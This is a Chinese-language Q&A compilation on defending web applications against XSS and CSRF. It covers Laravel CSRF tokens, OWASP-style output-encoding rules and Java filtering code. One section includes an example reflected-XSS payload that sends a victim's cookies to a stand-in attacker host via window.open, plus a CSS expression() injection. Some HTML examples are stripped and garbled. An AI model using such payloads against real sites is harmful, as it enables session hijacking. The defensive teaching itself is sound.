Ⅰ laravel怎么防止脚本攻击
laravel为了方式浏览器的伪造请求，csrf攻击，会对每个应用下的页面生成一个csrf_token的令牌表单，用户每次请求的时候会带上这个令牌去和服务器的session的令牌做对比。判断本次请求和生成token的是否是同一个人。
生成csrf令牌隐藏表单
// 这行代码生成了一个标准的隐藏表单值为token<input type="hidden" name="_token" value="<?php echo csrf_token(); ?>">
<?php echo csrf_field(); ?>
获取token
echo csrf_token();
我们不需要手动写验证csrf请求的，因为laravel默认把每个路由都继承了一个HTTP中间件VerifyCsrfToken会为我们做这项工作，将请求中输入的token值和session中的存储的作对比。
例外排除url 不进行csrf的验证
某些时候我们不得已的要使用第三方的请求，这时候就需要将这些网址加入到csrf的例外请求里面，
我们只需要到 中间件VerifyCsrfToken 里面把请求的地址加入到$except属性里面即可。
Ⅱ 为什么SSL不能防范跨站脚本攻击（XSS）
ssl 只不过是把数据加密了，你传了什么数据他就加密什么，即便是恶意脚本。他只是防止敏感信息泄漏，它本身貌似没有数据验证和过滤等功能。防止跨站脚本还是自己做好验证/过滤/编码等
Ⅲ 跨站脚本攻击,如何利用工具和测试防范跨站点脚本攻击
跨站点脚本（XSS）允许攻击者通过利用因特网服务器的漏洞来发送恶意代码到其他用户。攻击者利用跨站点脚本（XSS）攻击向那些看似可信任的链接中注入恶意代码。当用户点击了链接后，内嵌的程序将被提交并且会在用户的电脑上执行，这会使黑客获取访问权限并偷走敏感数据。攻击者使用XSS来攻击受害者机器上的漏洞并且传输恶意代码而不是攻击系统本身。 通过用户输入的数据返回错误消息的Web表格，攻击者可以修改控制Web页面的HTML代码。黑客能够在垃圾信息中的链接里插入代码或者使用欺诈邮件来诱使用户对其身份产生信任。 例如攻击者可以发送带有URL的邮件给受害人，这个URL指向一个Web站点并且提供浏览器脚本作为输入；或者在博客或诸如Facebook、Twitter这样的社交网站上发布恶意URL链接。当用户点击这个链接时，该恶意站点以及脚本将会在其浏览器上运行。浏览器不知道脚本是恶意的并将盲目地运行这个程序，这转而允许攻击者的浏览器脚本使用站点的功能来窃取cookie或者冒充合法的用户来完成交易。 一些通常的跨站点脚本预防的最佳实践包括在部署前测试应用代码，并且以快速、简明的方式修补缺陷和漏洞。Web应用开发人员应该过滤用户的输入来移除可能的恶意字符和浏览器脚本，并且植入用户输入过滤代码来移除恶意字符。通常管理员也可以配置浏览器只接受来自信任站点的脚本或者关闭浏览器的脚本功能，尽管这样做可能导致使用Web站点的功能受限。 随着时代的进步黑客们变得更加先进，使用收集的工具集来加快漏洞攻击进程。这意味着仅仅部署这些通常的XSS预防实践是不够的，保护和预防过程必须从底层开始并持续提升。预防过程必须在开发阶段开始，建立在一个牢靠、安全的开发生命周期方法论之上的Web应用在发布版本中不太可能暴露出漏洞。这样以来，不仅提升了安全性，也改善了可用性而且缩减了维护的总体费用，因为在现场环境中修补问题比在开发阶段会花费更多。 威胁建模在XSS预防中也是重要的一个方面，应该纳入到每个组织的安全开发生命周期当中。威胁建模评估和辨识在开发阶段中应用程序面临的所有的风险，来帮助Web开发人员更好地理解需要什么样的保护以及攻击一旦得逞将对组织产生怎样的影响。要辨识一个特定应用的威胁级别，考虑它的资产以及它访问的敏感信息量是十分重要的。这个威胁建模过程将确保在应用的设计和开发过程中战略性地融合了安全因素源码天空 ，并且增强了Web开发人员的安全意识。 对于大型项目的Web开发人员来说，源代码扫描工具和Web应用漏洞扫描器是提高效率和减少工作量的通常选择。
Ⅳ 如何防范XSS跨站脚本攻击测试篇
不可信数据 不可信数据通常是来自HTTP请求的数据，以URL参数、表单字段、标头或者Cookie的形式。不过从安全角度来看，来自数据库、网络服务器和其他来源的数据往往也是不可信的，也就是说，这些数据可能没有完全通过验证。 应该始终对不可信数据保持警惕，将其视为包含攻击，这意味着在发送不可信数据之前，应该采取措施确定没有攻击再发送。由于应用程序之间的关联不断深化，下游直译程序执行的攻击可以迅速蔓延。 传统上来看，输入验证是处理不可信数据的最好办法，然而，输入验证法并不是注入式攻击的最佳解决方案。首先，输入验证通常是在获取数据时开始执行的，而此时并不知道目的地所在。这也意味着我们并不知道在目标直译程序中哪些字符是重要的。其次，可能更加重要的是，应用程序必须允许潜在危害的字符进入，例如，是不是仅仅因为SQL认为Mr. O'Malley名字包含特殊字符他就不能在数据库中注册呢? 虽然输入验证很重要，但这始终不是解决注入攻击的完整解决方案，最好将输入攻击作为纵深防御措施，而将escaping作为首要防线。 解码(又称为Output Encoding) “Escaping”解码技术主要用于确保字符作为数据处理，而不是作为与直译程序的解析器相关的字符。有很多不同类型的解码，有时候也被成为输出“解码”。有些技术定义特殊的“escape”字符，而其他技术则包含涉及若干字符的更复杂的语法。 不要将输出解码与Unicode字符编码的概念弄混淆了，后者涉及映射Unicode字符到位序列。这种级别的编码通常是自动解码，并不能缓解攻击。但是，如果没有正确理解服务器和浏览器间的目标字符集，有可能导致与非目标字符产生通信，从而招致跨站XSS脚本攻击。这也正是为所有通信指定Unicode字符编码(字符集)(如UTF-8等)的重要所在。 Escaping是重要的工具，能够确保不可信数据不能被用来传递注入攻击。这样做并不会对解码数据造成影响，仍将正确呈现在浏览器中，解码只能阻止运行中发生的攻击。 注入攻击理论 注入攻击是这样一种攻击方式，它主要涉及破坏数据结构并通过使用特殊字符(直译程序正在使用的重要数据)转换为代码结构。XSS是一种注入攻击形式，浏览器作为直译程序，攻击被隐藏在HTML文件中。HTML一直都是代码和数据最差的mashup，因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的，因为它不仅是层次结构的，而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻击与XSS的关系，必须认真考虑HTML DOM的层次结构中的注入攻击。在HTML文件的某个位置(即开发者允许不可信数据列入DOM的位置)插入数据，主要有两种注入代码的方式： Injecting UP，上行注入 最常见的方式是关闭现有的context并开始一个新的代码context，例如，当你关闭HTML属性时使用">并开始新的 可以终止脚本块，即使该脚本块被注入脚本内方法调用内的引用字符，这是因为HTML解析器在JavaScript解析器之前运行。 Injecting DOWN，下行注入 另一种不太常见的执行XSS注入的方式就是，在不关闭当前context的情况下，引入一个subcontext。例如，将改为 ，并不需要躲开HTML属性context，相反只需要引入允许在src属性内写脚本的context即可。另一个例子就是CSS属性中的expression()功能，虽然你可能无法躲开引用CSS属性来进行上行注入，你可以采用x ss:expression(document.write(document.cookie))且无需离开现有context。 同样也有可能直接在现有context内进行注入，例如，可以采用不可信的输入并把它直接放入JavaScript context。这种方式比你想象的更加常用，但是根本不可能利用escaping(或者任何其他方式)保障安全。从本质上讲，如果这样做，你的应用程序只会成为攻击者将恶意代码植入浏览器的渠道。 本文介绍的规则旨在防止上行和下行XSS注入攻击。防止上行注入攻击，你必须避免那些允许你关闭现有context开始新context的字符;而防止攻击跳跃DOM层次级别，你必须避免所有可能关闭context的字符;下行注入攻击，你必须避免任何可以用来在现有context内引入新的sub-context的字符。 积极XSS防御模式 本文把HTML页面当作一个模板，模板上有很多插槽，开发者允许在这些插槽处放置不可信数据。在其他地方放置不可信数据是不允许的，这是“白名单”模式，否认所有不允许的事情。 根据浏览器解析HTML的方式的不同，每种不同类型的插槽都有不同的安全规则。当你在这些插槽处放置不可信数据时，必须采取某些措施以确保数据不会“逃离”相应插槽并闯入允许代码执行的context。从某种意义上说，这种方法将HTML文档当作参数化的数据库查询，数据被保存在具体文职并与escaping代码context相分离。 本文列出了最常见的插槽位置和安全放置数据的规则，基于各种不同的要求、已知的XSS载体和对流行浏览器的大量手动测试，我们保证本文提出的规则都是安全的。 定义好插槽位置，开发者们在放置任何数据前，都应该仔细分析以确保安全性。浏览器解析是非常棘手的，因为很多看起来无关紧要的字符可能起着重要作用。 为什么不能对所有不可信数据进行HTML实体编码? 可以对放入HTML文档正文的不可行数据进行HTML实体编码，如 标签内。也可以对进入属性的不可行数据进行实体编码，尤其是当属性中使用引用符号时。但是HTML实体编码并不总是有效，例如将不可信数据放入 directlyinascript insideanHTMLcomment inanattributename <...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/> inatagname 更重要的是，不要接受来自不可信任来源的JavaScript代码然后运行，例如，名为“callback”的参数就包含JavaScript代码段，没有解码能够解决。 No.2 – 在向HTML元素内容插入不可信数据前对HTML解码 这条规则适用于当你想把不可信数据直接插入HTML正文某处时，这包括内部正常标签(div、p、b、td等)。大多数网站框架都有HTML解码的方法且能够躲开下列字符。但是，这对于其他HTML context是远远不够的，你需要部署其他规则。 ...... ...... 以及其他的HTML常用元素 使用HTML实体解码躲开下列字符以避免切换到任何执行内容，如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体，除了XML中5个重要字符(&、<、 >、 "、 ')外，还加入了斜线符，以帮助结束HTML实体。 &-->& <-->< >-->> "-->" '-->''isnotrecommended /-->/ ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常见属性插入不可信数据前进行属性解码 这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等)，这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则，事件处理器属性(为HTML JavaScript Data Values)必须遵守该规则。 content insidesinglequotedattribute 除了字母数字字符外，使用小于256的ASCII值&#xHH格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用，正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏，包括[space] % * + , - / ; < = > ^ 和 |。 ESAPI参考实施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信数据前，进行JavaScript解码 这条规则涉及在不同HTML元素上制定的JavaScript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“data value”。在这些小代码块放置不可信数据是相当危险的，因为很容易切换到执行环境，因此请小心使用。
Ⅳ 如何防止跨站点脚本攻击
防止跨站点脚本攻击的解决方法： 1.输入过滤 对每一个用户的输入或者请求首部，都要进行过滤。这需要程序员有良好的安全素养，而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题，如错误页等。 final String filterPattern="[<>{}\\[\\];\\&]"; String inputStr = s.replaceAll(filterPattern," "); 2.输出过滤 public static String encode(String data) { final StringBuffer buf = new StringBuffer(); final char[] chars = data.toCharArray(); for (int i = 0; i < chars.length; i++) { buf.append("&#" + (int) chars[i]); } return buf.toString(); } public static String decodeHex(final String data, final String charEncoding) { if (data == null) { return null; } byte[] inBytes = null; try { inBytes = data.getBytes(charEncoding); } catch (UnsupportedEncodingException e) { //use default charset inBytes = data.getBytes(); } byte[] outBytes = new byte[inBytes.length]; int b1; int b2; int j=0; for (int i = 0; i < inBytes.length; i++) { if (inBytes[i] == '%') { b1 = Character.digit((char) inBytes[++i], 16); b2 = Character.digit((char) inBytes[++i], 16); outBytes[j++] = (byte) (((b1 & 0xf) << 4) + (b2 & 0xf)); } else { outBytes[j++] = inBytes[i]; } } String encodedStr = null; try { encodedStr = new String(outBytes, 0, j, charEncoding); } catch (UnsupportedEncodingException e) { encodedStr = new String(outBytes, 0, j); } return encodedStr; } <!-- Maps the 404 Not Found response code to the error page /errPage404 --> <error-page> <error-code>404</error-code> <location>/errPage404</location> </error-page> <!-- Maps any thrown ServletExceptions to the error page /errPageServ --> <error-page> <exception-type>javax.servlet.ServletException</exception-type> <location>/errPageServ</location> </error-page> <!-- Maps any other thrown exceptions to a generic error page /errPageGeneric --> <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/errPageGeneric</location> </error-page> 任何的非servlet例外都被/errPageGeneric路径捕捉，这样就可以处理。 Throwable throwable = (Throwable) request.getAttribute("javax.servlet.error.exception"); String status_code = ((Integer) request.getAttribute("javax.servlet.error.status_code")).toString( ); 3.安装三方的应用防火墙，可以拦截css攻击。 附： 跨站脚本不像其他攻击只包含两个部分：攻击者和web站点。 跨站脚本包含三个部分：攻击者，客户和web站点。 跨站脚本攻击的目的是窃取客户的cookies，或者其他可以证明用户身份的敏感信息。 攻击 一个get请求 GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: www.vulnerable.site 会产生如下的结果 <HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML> 但是如果请求被篡改 GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site 就会得到如下的响应 <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML> 这样在客户端会有一段非法的脚本执行，这不具有破坏作用，但是如下的脚本就很危险了。 http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script> 响应如下： <HTML> <Title>Welcome!</Title> Hi <script>window.open(“www.attacker.site/collect.cgi?cookie=”+document.cookie)</script> <BR> Welcome to our system ... </HTML> 浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站，这样攻击者就得到了客户的cookie。
Ⅵ springmvc怎么防止脚本攻击
说一下SpringMVC如何防御CSRF(Cross-site request forgery跨站请求伪造)和XSS(Cross site script跨站脚本攻击)。 说说CSRF 对CSRF来说,其实Spring3.1
Ⅶ 谁能说一下脚本病毒的原理、攻击流程与防护、、最好详细点呀、网站也好、谢啦、、
通过对xss跨站脚本攻击漏洞的历史、攻击特点、攻击原理描述及案例代码实战举例详细解析XSS漏洞攻击技术，并提出防御XSS跨站漏洞的思路方法。及WEB开发者开发网站过程中防范编码中产生xss跨站脚本攻击漏洞需要注意的事项。
XSS漏洞概述：
XSS(Cross Site Script)跨站点脚本攻击是一种注射的问题，在这种恶意脚本注入否则良性和信任的网站类型。跨站点脚本（XSS）攻击，攻击者使用时，会出现一个网络应用程序发送恶意代码，一般是在浏览器端脚本的形式，向不同的最终用户。这些缺陷，使攻击成功是相当普遍，发生在任何地方从一个Web应用程序使用在输出它没有验证或编码了用户输入。攻击者可以使用XSS的恶意脚本发送到一个毫无戒心的用户。最终用户的浏览有没有办法知道该脚本不应该信任，将执行该脚本。因为它认为该脚本来从一个受信任的源，恶意脚本可以访问任何Cookie，会话令牌，或其他敏感信息的浏览器保留，并与该网站使用。 甚至可以重写这些脚本的HTML网页的内容。
XSS漏洞历史：
XSS(Cross-site scripting)漏洞最早可以追溯到1996年，那时电子商务才刚刚起步，估计那时候国内很少人会想象到今天出现的几个国内电子商务巨头淘宝、当当、亚马逊（卓越）。XSS的出现“得益”于JavaScript的出现，JavaScript的出现给网页的设计带来了无限惊喜，包括今天风行的AJAX(Asynschronous JavaScript and XML)。同时，这些元素又无限的扩充了今天的网络安全领域。
XSS 漏洞攻击特点：
（1）XSS跨站漏洞种类多样人：
XSS攻击语句可插入到、URL地址参数后面、输入框内、img标签及DIV标签等HTML函数的属人里、Flash的getURL()动作等地方都会触发XSS漏洞。
（2）XSS跨站漏洞代码多样人：
为了躲避转义HTML特殊字符函数及过滤函数的过滤，XSS跨站的代码使用“/”来代替安字符“””、使用Tab键代替空格、部分语句转找成16进制、添加特殊字符、改变大小写及使用空格等来绕过过滤函数。
如果在您的新闻系统发现安全漏洞，如果该漏洞是一个SQL 注入漏洞，那么该漏洞就会得到您的网站管理员密码、可以在主机系统上执行shell命令、对数据库添加、删除数据。如果在您的新闻或邮件系统中发现安全漏洞，如果该漏洞是一个XSS跨站漏洞，那么可以构造一些特殊代码，只要你访问的页面包含了构造的特殊代码，您的主机可能就会执行木马程序、执行^***Cookies代码、突然转到一个银行及其它金融类的网站、泄露您的网银及其它账号与密码等。
XSS攻击原理：
XSS 属于被动式的攻击。攻击者先构造一个跨站页面，利用script、<IMG>、<IFRAME>等各种方式使得用户浏览这个页面时，触发对被攻击站点的http 请求。此时，如果被攻击者如果已经在被攻击站点登录，就会持有该站点cookie。这样该站点会认为被攻击者发起了一个http 请求。而实际上这个请求是在被攻击者不知情的情况下发起的，由此攻击者在一定程度上达到了冒充被攻击者的目的。精心的构造这个攻击请求，可以达到冒充发文，夺取权限等等多个攻击目的。在常见的攻击实例中，这个请求是通过script 来发起的，因此被称为Cross Site Script。攻击Yahoo Mail 的Yamanner 蠕虫是一个着名的XSS 攻击实例。Yahoo Mail 系统有一个漏洞，当用户在web 上察看信件时，有可能执行到信件内的javascript 代码。病毒可以利用这个漏洞使被攻击用户运行病毒的script。同时Yahoo Mail 系统使用了Ajax技术，这样病毒的script 可以很容易的向Yahoo Mail 系统发起ajax 请求，从而得到用户的地址簿，并发送病毒给他人。
XSS 攻击主要分为两类：一类是来自内部的攻击，主要指的是利用WEB 程序自身的漏洞，提交特殊的字符串，从而使得跨站页面直接存在于被攻击站点上，这个字符串被称为跨站语句。这一类攻击所利用的漏洞非常类似于SQL Injection 漏洞，都是WEB程序没有对用户输入作充分的检查和过滤。上文的Yamanner 就是一例。
另一类则是来来自外部的攻击，主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个跨站网页放在自己的服务器上，然后通过结合其它技术，如社会工程学等，欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低，至少ajax 要发起跨站调用是非常困难的。
Ⅷ ajax服务端脚本防止请求攻击的方法有哪些
1、验证是否AJAX请求。
2、频率限制。针对IP的限制，可以在服务器层做（Tengine就有这样的功能）。针对已登录用户的频率限制，豆瓣就是这样做，超出频率就要输入验证码。
3、csrftoken的方式，个人觉得意义不大。
Ⅸ 跨站脚本攻击的预防
从网站开发者角度，如何防护XSS攻击?
来自应用安全国际组织OWASP的建议，对XSS最佳的防护应该结合以下两种方法：验证所有输入数据，有效检测攻击；对所有输出数据进行适当的编码，以防止任何已成功注入的脚本在浏览器端运行。具体如下：
输入验证：某个数据被接受为可被显示或存储之前，使用标准输入验证机制，验证所有输入数据的长度、类型、语法以及业务规则。
输出编码：数据输出前，确保用户提交的数据已被正确进行entity编码，建议对所有字符进行编码而不仅局限于某个子集。
明确指定输出的编码方式：不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。
注意黑名单验证方式的局限性：仅仅查找或替换一些字符(如< >或类似script的关键字)，很容易被XSS变种攻击绕过验证机制。
警惕规范化错误：验证输入之前，必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。
从网站用户角度，如何防护XSS攻击?
当你打开一封Email或附件、浏览论坛帖子时，可能恶意脚本会自动执行，因此，在做这些操作时一定要特别谨慎。建议在浏览器设置中关闭JavaScript。如果使用IE浏览器，将安全级别设置到“高”。具体可以参照浏览器安全的相关文章。
这里需要再次提醒的是，XSS攻击其实伴随着社会工程学的成功应用，需要增强安全意识，只信任值得信任的站点或内容。可以通过一些检测工具进行xss的漏洞检测，类似工具有亿思网站安全检测平台。针对xss的漏洞带来的危害是巨大，如有发现，应立即修复漏洞。
